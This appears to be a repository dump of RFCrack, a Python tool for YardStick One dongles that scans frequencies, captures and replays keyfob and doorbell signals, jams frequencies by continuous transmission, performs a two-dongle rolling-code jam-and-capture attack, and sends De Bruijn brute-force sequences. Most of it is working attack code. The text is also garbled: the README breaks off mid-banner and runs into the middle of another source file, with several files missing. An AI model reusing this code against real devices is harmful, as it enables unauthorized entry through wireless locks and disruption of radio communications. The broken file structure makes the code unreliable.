├── INSTALL ├── LICENSE ├── README ├── RFCrack.py ├── captures └── capturedClicks.log ├── device_templates └── doorbell.config ├── imageOutput ├── Graph1.png └── LiveComparison.png ├── scanning_logs └── Jan28_15:58:20.log └── src ├── Clicker.py ├── RFFunctions.py ├── RFSettings.py ├── __init__.py ├── attacks.py ├── findDevices.py ├── jam.py └── utilities.py /INSTALL: -------------------------------------------------------------------------------- 1 | #Option 1 (Via Venv mostly, had some issues) 2 | #This should work if you want to use ENV, though gave me issues in Kali where I had to use Root Env: 3 | #-----------------------------------------------------------------------------------------------------# 4 | sudo apt install python3-pip 5 | sudo apt install python3-virtualenv 6 | sudo apt-get install eog 7 | 8 | python3 -m venv env 9 | source env/bin/activate 10 | 11 | pip Install rfcat 12 | pip install matplotlib 13 | pip install bitstring 14 | pip install libusb 15 | pip install pyusb 16 | 17 | rfcat -r 18 | 19 | 20 | 21 | 22 | #Option 2 (Prefered for me) 23 | #Optionally I recently set it up with Apt mostly in Kali I had to do this to avoid Root Usage: 24 | #--------------------------------------------------------------------------------------------- 25 | sudo apt install python3-bitstring 26 | sudo apt install python3-matplotlib 27 | sudo apt-get install python libusb-1.0-0 28 | sudo apt install python3-pyusb 29 | sudo apt install python3-numpy 30 | sudo apt-get install eog 31 | sudo apt install rfcat 32 | 33 | rfcat -r 34 | 35 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | 2 | Copyright (c) 2024 Olie Brown 3 | 4 | Permission is hereby granted free of charge for individual personal use only. 5 | Permission is prohibited for other purposes, for example but not limited to, 6 | other projects, commercial use and sales by anyone other then the original author 7 | of RFCrack without express permission of the aforementioned RFCrack author. 8 | 9 | 10 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 11 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 12 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 13 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 14 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 15 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 16 | SOFTWARE. 17 | -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | 2 | ___ _ ___ _ 3 | / __|___ _ _ ___ ___| |___ / __|_____ __ _| |__ ___ _ _ ___ 4 | | (__/ _ \ ' \(_-= 1: #Check if we have 2 keys and return. 36 | return roll_captures, signal_strength 37 | else: 38 | roll_count +=1 39 | continue 40 | else: 41 | continue 42 | 43 | #This block is when just capturing and returning, no rolling code 44 | elif capture and not rolling_code: 45 | print(f"SIGNAL STRENGTH: {str(signal_strength)}") 46 | print(f"RF CAPTURE: \n {capture} \n") 47 | try: 48 | response = input("Do you want to return the above payload? (y/n)") 49 | if response.lower() == 'y': 50 | break 51 | elif response.lower() == 'n': 52 | capture ="" 53 | else: 54 | print("You did not enter a valid response of y or n capture not saved") 55 | capture = "" 56 | 57 | except Exception as e: 58 | print(f"Error during input: {e}") 59 | capture = "" 60 | 61 | return capture, signal_strength 62 | 63 | 64 | #----------------- Determine Real Transmission ----------------# 65 | def determineRealTransmission(signal_strength, rf_settings): 66 | ''' Used to search for transmissions which are not max power and fall between 67 | defined RSSI power levels''' 68 | if signal_strength > rf_settings.upper_rssi and signal_strength < rf_settings.lower_rssi: 69 | return True 70 | return False 71 | 72 | #------------Split Captures by 4 or more 0's --------------------# 73 | def splitCaptureByZeros(capture): 74 | '''Parse Hex from the capture by reducing 0's ''' 75 | 76 | payloads = re.split('0000*', capture) 77 | items = [] 78 | for payload in payloads: 79 | 80 | if len(payload) > 5: 81 | items.append(payload) 82 | 83 | return items 84 | 85 | 86 | #------------Split Device Settings Configuration --------------------# 87 | def parseDeviceSettings(file_data): 88 | '''Parse file device configuration and return list''' 89 | settings = [] 90 | for data in file_data: 91 | settings.append(re.split(':', data)) 92 | print (settings) 93 | return settings 94 | 95 | 96 | #------------ Hex conversion function --------------------# 97 | def printFormatedHex(payload): 98 | ''' Helper function that takes RFRecv output and returns format hex 99 | Note dont just use this output into your send, but you can manually paste its output in a string''' 100 | 101 | formatedPayload = "" 102 | if (len(payload) % 2 == 0): 103 | print (f"The following payload is currently being formated: {payload}") 104 | iterator = iter(payload) 105 | for i in iterator: 106 | formatedPayload += ('\\x'+i + next(iterator)) 107 | 108 | return formatedPayload 109 | 110 | 111 | #------------Create Payloads in Bytes--------------------# 112 | def createBytesFromPayloads(payloads): 113 | '''Accepts a list of payloads for formating and returns a list formated in byte format 114 | For RFXmit transmission''' 115 | formatedPayloads = [] 116 | 117 | for payload in payloads: 118 | binary = bin(int(payload,16))[2:] 119 | formatedPayloads.append(turnToBytes(binary)) 120 | return formatedPayloads 121 | 122 | def turnToBytes(binary): 123 | ''' Converts binary payloads into sendable byte payloads''' 124 | payloadBytes = bitstring.BitArray(bin=(binary)).tobytes() 125 | return payloadBytes 126 | 127 | #------------Send Transmission--------------------# 128 | def sendTransmission(payload, d): 129 | ''' Expects formated data for sending with RFXMIT''' 130 | print ("Sending payload... ") 131 | d.RFxmit(payload,10) 132 | print ("Transmission Complete") 133 | 134 | #-------------------Parse the log file------------# 135 | def parseSignalsFromLog(log_file): 136 | '''Creates a multidimentional array of signals from a logfile split by 0000's''' 137 | payloads=[] 138 | with open(log_file) as f: 139 | for line in f: 140 | if "found" not in line: 141 | payloads.append(splitCaptureByZeros(line)) 142 | return payloads 143 | 144 | def similar(a, b): 145 | return SequenceMatcher(None, a, b).ratio() 146 | 147 | #-------------------Parse single Log Entry From live Clicker------------# 148 | def parseSignalsLive(click): 149 | '''Creates a multidimentional array of signals from a logfile split by 0000's''' 150 | payloads=[] 151 | payloads.append(splitCaptureByZeros(click)) 152 | return payloads 153 | -------------------------------------------------------------------------------- /src/RFSettings.py: -------------------------------------------------------------------------------- 1 | import sys 2 | sys.dont_write_bytecode = True 3 | 4 | class RFSettings(): 5 | '''This class is used to setup RFCat settings needed for listening, jamming and sending''' 6 | def __init__(self, frequency, baud_rate, channel_bandwidth, modulation_type, upper_rssi, lower_rssi, channel_spacing, deviation): 7 | 8 | self.frequency = frequency 9 | self.baud_rate = baud_rate 10 | self.channel_bandwidth = channel_bandwidth 11 | self.modulation_type = modulation_type 12 | self.upper_rssi = upper_rssi 13 | self.lower_rssi = lower_rssi 14 | self.channel_spacing = channel_spacing 15 | self.deviation = deviation 16 | 17 | def saveDeviceSettingsTemplate(self, rf_settings, device_name): 18 | '''Saves your current RF settings to a file in the device_templates folder which can be loaded in a later attack''' 19 | try: 20 | with open("./device_templates/"+device_name+".config", 'w') as file: 21 | for key, value in rf_settings.__dict__.items(): 22 | if not key.startswith("__"): 23 | print(f"{str(key)} : {str(value)}") 24 | file.write(str(key)+ ":" +str(value) +"\n") 25 | print(f"Saved file as: ./device_templates/{device_name}.config") 26 | except IOError as e: 27 | print(f"Error saving device settings: {e}") 28 | 29 | def loadDeviceSettingsTemplate(self, file_data): 30 | '''Loads your previously saved working settings for attack against a device''' 31 | try: 32 | for data in file_data: 33 | if "frequency" in data: 34 | frequency = self.splitData(data) 35 | self.frequency = int(frequency) 36 | elif "baud_rate" in data: 37 | baud_rate = self.splitData(data) 38 | self.baud_rate = int(baud_rate) 39 | elif "channel_bandwidth" in data: 40 | channel_bandwidth = self.splitData(data) 41 | self.channel_bandwidth = int(channel_bandwidth) 42 | elif "modulation_type" in data: 43 | modulation_type = self.splitData(data) 44 | self.modulation_type = modulation_type 45 | elif "upper_rssi" in data: 46 | upper_rssi = self.splitData(data) 47 | self.upper_rssi = int(upper_rssi) 48 | elif "lower_rssi" in data: 49 | lower_rssi = self.splitData(data) 50 | self.lower_rssi = int(lower_rssi) 51 | elif "channel_spacing" in data: 52 | channel_spacing = self.splitData(data) 53 | self.channel_spacing = int(channel_spacing) 54 | elif "deviation" in data: 55 | deviation = self.splitData(data) 56 | self.deviation = int(deviation) 57 | except Exception as e: 58 | print(f"Error loading device settings: {e}") 59 | self.printSettings() 60 | 61 | def splitData(self, data): 62 | key, value = data.split(":") 63 | value = value.strip() 64 | return value 65 | 66 | def printSettings(self): 67 | '''Prints the current RFCat Settings in use''' 68 | print ("The following settings are in use:") 69 | print (f"Frequency: {str(self.frequency)}") 70 | print (f"Baud_rate: {str(self.baud_rate)}") 71 | print (f"Channel_bandwidth: {str(self.channel_bandwidth)}") 72 | print (f"Modulation_type: {str(self.modulation_type)}") 73 | print (f"Upper_rssi: {str(self.upper_rssi)}") 74 | print (f"Lower_rssi: {str(self.lower_rssi)}") 75 | print (f"Channel_spacing: {str(self.channel_spacing)}") 76 | print (f"Deviation: {str(self.deviation)}") 77 | -------------------------------------------------------------------------------- /src/__init__.py: -------------------------------------------------------------------------------- 1 | from . import * 2 | import sys 3 | sys.dont_write_bytecode = True 4 | -------------------------------------------------------------------------------- /src/attacks.py: -------------------------------------------------------------------------------- 1 | 2 | from . import RFFunctions as tools 3 | from . import findDevices, jam, utilities 4 | import time, sys 5 | sys.dont_write_bytecode = True 6 | #-----------------Rolling Code-------------------------# 7 | def rollingCode(d, rf_settings, rolling_code, jamming_variance,): 8 | '''Sets up for a rolling code attack, requires a frequency 9 | and a RFCat Object''' 10 | 11 | print("ROLLING CODE REQUIRES 2 YardSticks Plugged In") 12 | j = jam.setupJammer(1, rf_settings) 13 | 14 | jam.jamming(j, "start", rf_settings, rolling_code, jamming_variance) 15 | roll_captures, signal_strength = tools.capturePayload(d, rolling_code, rf_settings) 16 | print("Waiting to capture your rolling code transmission") 17 | print(signal_strength) 18 | print(roll_captures) 19 | 20 | payloads = tools.createBytesFromPayloads(roll_captures) 21 | 22 | time.sleep(1) 23 | jam.jamming(j, "stop", rf_settings, rolling_code, jamming_variance) 24 | 25 | print("Sending First Payload ") 26 | tools.sendTransmission(payloads[0] ,d) 27 | response = input( "Ready to send second Payload?? (y/n) ") 28 | if response.lower() == "y": 29 | tools.sendTransmission(payloads[1] ,d) 30 | 31 | else: 32 | response = input( "Choose a name to save your file as and press enter: ") 33 | try: 34 | with open("./captures/"+response+".cap", 'w') as file: 35 | file.write(roll_captures[1]) 36 | print(f"Saved file as: ./captures/{response}.cap You can manually replay this later with -s -u") 37 | except IOError as e: 38 | print(f"Error saving file: {e}") 39 | return 40 | #------------------End Roll Code-------------------------# 41 | 42 | 43 | #---------------Replay Live Capture----------------------# 44 | def replayLiveCapture(d, rolling_code, rf_settings): 45 | '''Replays a live capture real time, lets you select your capture 46 | and replay it or save it for later''' 47 | 48 | replay_capture, signal_strength = tools.capturePayload(d,rolling_code, rf_settings) 49 | replay_capture = [replay_capture] 50 | 51 | response = input( "Replay this capture? (y/n) ") 52 | if response.lower() == 'y': 53 | payloads = tools.createBytesFromPayloads(replay_capture) 54 | for payload in payloads: 55 | print("WAITING TO SEND") 56 | time.sleep(1) 57 | tools.sendTransmission(payload ,d) 58 | 59 | response = input( "Save this capture for later? (y/n) ") 60 | if response.lower() == 'y': 61 | mytime = time.strftime('%b%d_%X') 62 | with open("./captures/"+mytime+"_payload.cap", 'w') as file: 63 | file.write(replay_capture[0]) 64 | print(f"Saved file as: ./captures/{mytime}_payload.cap") 65 | return 66 | #---------------End Replay Live Capture-------------------# 67 | 68 | 69 | #---------------Replay Saved Capture----------------------# 70 | def replaySavedCapture(d, uploaded_payload): 71 | '''Used to import an old capture and replay it from a file''' 72 | with open(uploaded_payload) as f: 73 | payloads = f.readlines() 74 | print(payloads) 75 | payloads = tools.createBytesFromPayloads(payloads) 76 | 77 | response = input( "Send once, or forever? (o/f) Default = o ") 78 | 79 | if response.lower() == "f": 80 | print("\nNOTE: TO STOP YOU NEED TO CTRL-Z and Unplug/Plug IN YARDSTICK-ONE\n") 81 | while True: 82 | for payload in payloads: 83 | print("WAITING TO SEND") 84 | time.sleep(1) #You may not want this if you need rapid fire tx 85 | tools.sendTransmission(payload ,d) 86 | 87 | else: 88 | for payload in payloads: 89 | print("WAITING TO SEND") 90 | time.sleep(1) 91 | tools.sendTransmission(payload ,d) 92 | return 93 | #--------------- End Replay Saved Capture-------------------# 94 | 95 | 96 | #---------------Send DeBruijn Sequence Attack----------------------# 97 | # https://en.wikipedia.org/wiki/De_Bruijn_sequence 98 | def deBruijn(d): 99 | '''Send Binary deBruijn payload to bruteforce a signal''' 100 | try: 101 | response = input( "What length deBruijn would you like to try: ") 102 | length = int(response) 103 | except ValueError: 104 | print("Invalid input. Please enter a valid integer.") 105 | return 106 | try: 107 | binary = utilities.generate_de_bruijn_sequence(2, response) 108 | payload = tools.turnToBytes(binary) 109 | 110 | print(f"Sending {str(len(binary))} bits length binary deBruijn payload formated to bytes") 111 | print(f'Payload used {payload}') 112 | tools.sendTransmission(payload ,d) 113 | 114 | except Exception as e: 115 | print(f"Error creating or sending deBruijn payload: {e}") 116 | #----------------- End DeBruijn Sequence Attack--------------------# 117 | -------------------------------------------------------------------------------- /src/findDevices.py: -------------------------------------------------------------------------------- 1 | from rflib import * 2 | import time, re, sys 3 | sys.dont_write_bytecode = True 4 | 5 | capture = "" 6 | mytime = time.strftime('%b%d_%X') 7 | 8 | def bruteForceFreq(d, rf_settings, interval, clicker=False): 9 | '''Brute Forces frequencies looking for one with data being sent 10 | Requires a RFCat Class, a starting frequency and the incrementing interval 11 | EX: 315000000, 50000''' 12 | d.setFreq(rf_settings.frequency) 13 | current_freq = rf_settings.frequency 14 | filename = "./scanning_logs/"+mytime+".log" 15 | 16 | while not keystop(): 17 | print (f"Currently Scanning: {str(current_freq)} To cancel hit enter and wait a few seconds") 18 | sniffFrequency(d, current_freq, filename, clicker) 19 | 20 | current_freq +=interval 21 | d.setFreq(current_freq) 22 | print (f"Saved logfile as: ./scanning_logs/{mytime}.log") 23 | 24 | def searchKnownFreqs(d, known_frequencies, clicker=False): 25 | '''Sniffs on a rotating list of known frequences from the default list 26 | or optionally uses a list provided to the function requires an RFCat class''' 27 | filename = "./scanning_logs/"+mytime+".log" 28 | while not keystop(): 29 | 30 | for current_freq in known_frequencies: 31 | d.setFreq(current_freq) 32 | print(f"Currently Scanning: {str(current_freq)} To cancel hit enter and wait a few seconds") 33 | #print <-- wtf do I have a print here for? removed see if it breaks something 34 | if clicker: 35 | sniffFrequency(d, current_freq, "./captures/capturedClicks.log", clicker) 36 | else: 37 | sniffFrequency(d, current_freq, filename, clicker) 38 | print(f"Saved logfile as: {filename}") 39 | 40 | def sniffFrequency(d, current_freq, filename, clicker): 41 | ''' Sniffs on a frequency, requires a RFCat Class with proper info set for listening''' 42 | 43 | if clicker: 44 | while True: 45 | try: 46 | y, z = d.RFrecv() 47 | capture = y.hex() 48 | print(capture) 49 | saveLogs(current_freq, capture, filename) 50 | except ChipconUsbTimeoutException: 51 | pass 52 | 53 | else: 54 | try: 55 | y, z = d.RFrecv(timeout=3000) 56 | capture = y.hex() 57 | print(capture) 58 | saveLogs(current_freq, capture, filename) 59 | except ChipconUsbTimeoutException: 60 | pass 61 | return 62 | 63 | def saveLogs(current_freq, capture, filename=" "): 64 | ''' Used to create logs for scanning known and bruteforcing frequencies''' 65 | with open(filename, 'a+') as file: 66 | file.write("A signal was found on :" + str(current_freq)+"\n" + capture+"\n") 67 | -------------------------------------------------------------------------------- /src/jam.py: -------------------------------------------------------------------------------- 1 | from rflib import * 2 | import sys 3 | sys.dont_write_bytecode = True 4 | 5 | def setupJammer(idx_value, rf_settings): 6 | '''Used to setup jammer with second card for a Rolling Code attack or single for other attacks''' 7 | try: 8 | j = RfCat(idx=idx_value) 9 | j.setMdmModulation(MOD_ASK_OOK) 10 | j.setMdmDRate(rf_settings.baud_rate)# how long each bit is transmited for 11 | j.setMdmChanBW(60000)# how wide channel is 12 | j.setMdmChanSpc(rf_settings.channel_spacing) 13 | j.setMaxPower() 14 | #j.setRFRegister(PA_TABLE0, 0xFF) 15 | #j.setRFRegister(PA_TABLE1, 0xFF) 16 | j.setRFRegister(PKTCTRL1, 0xFF) 17 | j.setChannel(0) 18 | return j 19 | 20 | except Exception as e: 21 | print(f"Error setting up jammer: {e}") 22 | return None 23 | 24 | def jamming(j, action, rf_settings, rolling_code, jamming_variance=0, retries=3): 25 | '''This is used to Jam frequencies with the parameters you set either 26 | stand alone or for rolling code attacks using jamming variance''' 27 | if j is None: 28 | print("Jammer setup failed. Cannot proceed with jamming.") 29 | return 30 | 31 | try: 32 | frequency = rf_settings.frequency + jamming_variance 33 | j.setFreq(frequency) 34 | 35 | if action == "start": 36 | print(f"Starting Jamming on: {frequency}") 37 | print("Press enter to stop jamming \n") 38 | for attempt in range(retries): 39 | try: 40 | while not keystop(): 41 | j.RFxmit(b"A" * 1000) # send a continuous stream of data to jam the frequency 42 | 43 | if not rolling_code: 44 | print("done") 45 | j.setModeIDLE() 46 | break 47 | 48 | except Exception as e: 49 | print(f"Error during jamming attempt {attempt + 1}: {e}") 50 | if attempt < retries - 1: 51 | print("Retrying...") 52 | time.sleep(1) 53 | else: 54 | print("Max retries reached. Jamming failed.") 55 | elif action == "stop": 56 | j.setModeIDLE() # put dongle in idle mode to stop jamming 57 | print("Jamming Stopped") 58 | except Exception as e: 59 | print(f"Error during jamming: {e}") 60 | -------------------------------------------------------------------------------- /src/utilities.py: -------------------------------------------------------------------------------- 1 | import time, os 2 | from . import findDevices 3 | from . import RFFunctions as tools 4 | from . import Clicker 5 | 6 | #-----------------Start Log Tailing ----------------# 7 | def logTail(my_clicker): 8 | ''' This function acts as a linux tail function but only pulling new additions to a file since running 9 | it parses for payload lines which is uses in analysis and graphing''' 10 | capture_log = "./captures/capturedClicks.log" 11 | try: 12 | with open(capture_log, 'r') as file: 13 | 14 | #Find the size of the file and move to the end 15 | st_results = os.stat(capture_log) 16 | st_size = st_results[6] 17 | file.seek(st_size) 18 | 19 | while True: 20 | where = file.tell() 21 | line = file.readline() 22 | if not line: 23 | time.sleep(1) 24 | file.seek(where) 25 | else: 26 | if "found" not in line: 27 | presses = tools.parseSignalsLive(line) 28 | my_clicker.keyfob_payloads = presses 29 | percent = my_clicker.liveClicks() 30 | 31 | except IOError as e: 32 | print(f"Error opening or reading from {capture_log}: {e}") 33 | 34 | #-----------------End Log Tailing ----------------# 35 | 36 | 37 | #-----------------Start De Bruijn Creation ----------------# 38 | def generate_de_bruijn_sequence(k, n): 39 | '''Generates the de Bruijn sequence for given k and n''' 40 | if isinstance(k, str): 41 | alphabet = list(k) 42 | k = len(alphabet) 43 | else: 44 | alphabet = list(map(str, range(k))) 45 | 46 | a = [0] * (k * int(n)) 47 | sequence = [] 48 | 49 | def db(t, p): 50 | if t == int(n) * k: 51 | if int(n) % p == 0: 52 | sequence.extend(a[1:p + 1]) 53 | else: 54 | a[t] = a[t - p] 55 | db(t + 1, p) 56 | for j in range(a[t - p] + 1, k): 57 | a[t] = j 58 | db(t + 1, t) 59 | db(1, 1) 60 | return "".join(alphabet[i] for i in sequence) 61 | 62 | #-----------------End De Bruijn Creation ----------------# 63 | 64 | def count_provided_args(args, parser): 65 | # Count arguments that were explicitly provided by the user 66 | provided_args = 0 67 | for action in parser._actions: 68 | # Skip the help action 69 | if action.dest == 'help': 70 | continue 71 | 72 | # Check if the argument was provided by the user 73 | if hasattr(args, action.dest): 74 | value = getattr(args, action.dest) 75 | 76 | # For store_true actions, check if they were explicitly set 77 | if action.const is not None and value == action.const: 78 | provided_args += 1 79 | 80 | # For other arguments, check if they differ from the default 81 | elif hasattr(action, 'default'): 82 | if value != action.default: 83 | provided_args += 1 84 | 85 | return provided_args 86 | --------------------------------------------------------------------------------